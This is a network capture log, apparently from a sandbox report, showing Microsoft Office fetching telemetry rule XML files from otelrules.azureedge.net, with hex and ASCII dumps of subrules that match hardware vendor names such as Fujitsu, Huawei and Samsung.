2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1958a6a9-101e-0046-5bd5-3391b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968l4kp6hC1EWRe88400000005kg000000009pbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:42 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 2f59f176-901e-002a-79d5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968jrjrxhC1EWRmmrs00000005c000000000m6bq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:42 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 31c5dc94-101e-008d-18d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968v79b7hC1EWRu01s00000004wg00000000ggr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:42 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8377dd30-c01e-00a1-3ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f784596886s2bhC1EWR743w000000056g00000000xyfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:42 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5f09de9a-701e-0050-70d5-336767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181742Z-174f7845968n2hr8hC1EWR9cag00000004u000000000v6mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:42 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 95c6b661-501e-0078-17d5-3306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181743Z-174f7845968vwdr7hC1EWRsh3w000000055000000000q9wd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:43 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:43 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5d78e2d9-801e-00a0-72d5-332196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181743Z-174f7845968v79b7hC1EWRu01s00000004wg00000000ggrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:43 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:43 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 1c99e56d-601e-0097-76d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181743Z-174f7845968c2t8dhC1EWR8s20000000051g00000000abtn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:43 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f5f8c6aa-e01e-0099-78d5-33da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181743Z-174f7845968swgbqhC1EWRmnb400000005ag00000000tfny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:43 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:43 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e1dc95e-801e-007b-6ed5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181743Z-174f7845968swgbqhC1EWRmnb400000005k00000000008n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:43 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:43 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 602c134e-d01e-0049-04d5-33e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181743Z-174f7845968nxc96hC1EWRspw800000004yg00000000pcz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:44 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:44 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 78b03680-101e-000b-4bd5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181744Z-174f7845968cpnpfhC1EWR3afc00000004v000000000r23r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:44 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
